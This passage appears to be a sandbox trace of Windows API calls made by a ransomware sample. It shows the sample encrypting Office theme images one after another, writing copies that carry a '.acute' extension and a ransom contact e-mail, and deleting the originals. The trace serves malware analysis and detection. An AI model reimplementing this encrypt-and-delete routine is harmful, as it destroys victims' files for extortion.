shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0055.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.527] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.528] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1569) returned 1 [0055.528] CloseHandle (hObject=0x174) returned 1 [0055.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 0x20 [0055.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.528] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.528] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.531] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0055.531] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.531] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x621, lpOverlapped=0x0) returned 1 [0055.533] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x630, dwBufLen=0x630 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x630) returned 1 [0055.533] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x630, lpOverlapped=0x0) returned 1 [0055.534] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0055.534] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.534] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.534] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.534] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.534] CryptDestroyKey (hKey=0x593220) returned 1 [0055.534] CloseHandle (hObject=0x174) returned 1 [0055.534] CloseHandle (hObject=0x1ac) returned 1 [0055.536] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0055.537] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.538] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=25234) returned 1 [0055.538] CloseHandle (hObject=0x1ac) returned 1 [0055.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0055.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.539] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.539] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.539] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0055.539] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.539] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x6292, lpOverlapped=0x0) returned 1 [0055.608] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x62a0, dwBufLen=0x62a0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x62a0) returned 1 [0055.610] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x62a0, lpOverlapped=0x0) returned 1 [0055.613] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0055.613] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.613] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.613] CryptDestroyKey (hKey=0x593260) returned 1 [0055.613] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.613] CryptDestroyKey (hKey=0x593220) returned 1 [0055.613] CloseHandle (hObject=0x1ac) returned 1 [0055.613] CloseHandle (hObject=0x174) returned 1 [0055.614] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0055.615] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.706] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=19780) returned 1 [0055.706] CloseHandle (hObject=0x1ac) returned 1 [0055.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0055.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.707] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.707] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.707] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.707] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.707] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x4d44, lpOverlapped=0x0) returned 1 [0055.709] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4d50, dwBufLen=0x4d50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4d50) returned 1 [0055.709] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x4d50, lpOverlapped=0x0) returned 1 [0055.711] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0055.711] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.711] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.711] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.711] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.711] CryptDestroyKey (hKey=0x593260) returned 1 [0055.711] CloseHandle (hObject=0x1ac) returned 1 [0055.711] CloseHandle (hObject=0x190) returned 1 [0055.712] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0055.713] SetEvent (hEvent=0x14c) returned 1 [0055.713] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.713] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2848) returned 1 [0055.713] CloseHandle (hObject=0x190) returned 1 [0055.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0055.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.714] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.714] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.716] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.716] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.716] ReadFile (in: hFile=0x190, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0xb20, lpOverlapped=0x0) returned 1 [0055.717] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xb30, dwBufLen=0xb30 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0xb30) returned 1 [0055.717] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xb30, lpOverlapped=0x0) returned 1 [0055.719] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0055.719] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.719] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.719] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.719] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.719] CryptDestroyKey (hKey=0x593260) returned 1 [0055.719] CloseHandle (hObject=0x190) returned 1 [0055.719] CloseHandle (hObject=0x1ac) returned 1 [0055.720] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0055.721] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.722] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=34916) returned 1 [0055.722] CloseHandle (hObject=0x1ac) returned 1 [0055.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0055.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0055.722] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.722] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.722] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.722] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.722] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x8864, lpOverlapped=0x0) returned 1 [0055.724] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x8870, dwBufLen=0x8870 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x8870) returned 1 [0055.725] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x8870, lpOverlapped=0x0) returned 1 [0055.726] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0055.726] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.726] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.726] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.726] WriteFile (in: hFile=0x190, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.726] CryptDestroyKey (hKey=0x593260) returned 1 [0055.726] CloseHandle (hObject=0x1ac) returned 1 [0055.726] CloseHandle (hObject=0x190) returned 1 [0055.727] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0055.728] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.729] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2181) returned 1 [0055.729] CloseHandle (hObject=0x190) returned 1 [0055.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0055.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.730] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.730] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program 